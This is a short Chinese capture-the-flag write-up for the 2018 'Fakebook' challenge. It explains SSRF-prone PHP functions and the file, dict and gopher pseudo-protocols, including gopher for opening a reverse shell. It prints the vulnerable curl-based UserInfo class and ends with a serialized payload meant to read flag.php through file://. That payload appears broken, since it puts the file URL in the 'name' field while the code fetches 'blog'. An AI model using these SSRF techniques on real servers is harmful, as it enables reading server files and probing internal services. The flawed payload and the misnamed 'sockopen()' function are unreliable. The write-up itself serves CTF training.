[网鼎杯 2018]Fakebook 1

[网鼎杯 2018]Fakebook 1

考察知识点:

一.SSRF伪协议漏洞注入

可能产生SSRF的函数:
1、file_get_contents:
2、sockopen():
3、curl_exec():
4.fopen():

二.SSRF中的伪协议

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活

<?php


class UserInfo//唯一 一个类
{
    
    
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
    
    
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)    
    {
    
    
        $ch = curl_init();// 创建一个curl资源      

        curl_setopt($ch, CURLOPT_URL, $url); // 设置url和响应,需要获取的URL地址,也可以在curl_init()函数中设置。 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//CURLOPT_RETURNTRANSFER将curl_exec获取的信息以文件流形式返回,而不是直接输出
        $output = curl_exec($ch); // 抓取url并把它返回给浏览器
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
    
    
            return 404;
        }
        curl_close($ch); //关闭curl,并释放资源
        return $output;
    }
    public function getBlogContents ()
    {
    
    
        return $this->get($this->blog);// 传参blog到get
    }
    public function isValidBlog ()
    {
    
    
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

构建 payload:

O:8:"UserInfo":3:{
    
    s:4:"name";s:29:"file:///var/www/html/flag.php";s:3:"age";i:1;s:4:"blog";s:1:"1";}

猜你喜欢

转载自blog.csdn.net/m0_73728268/article/details/129822777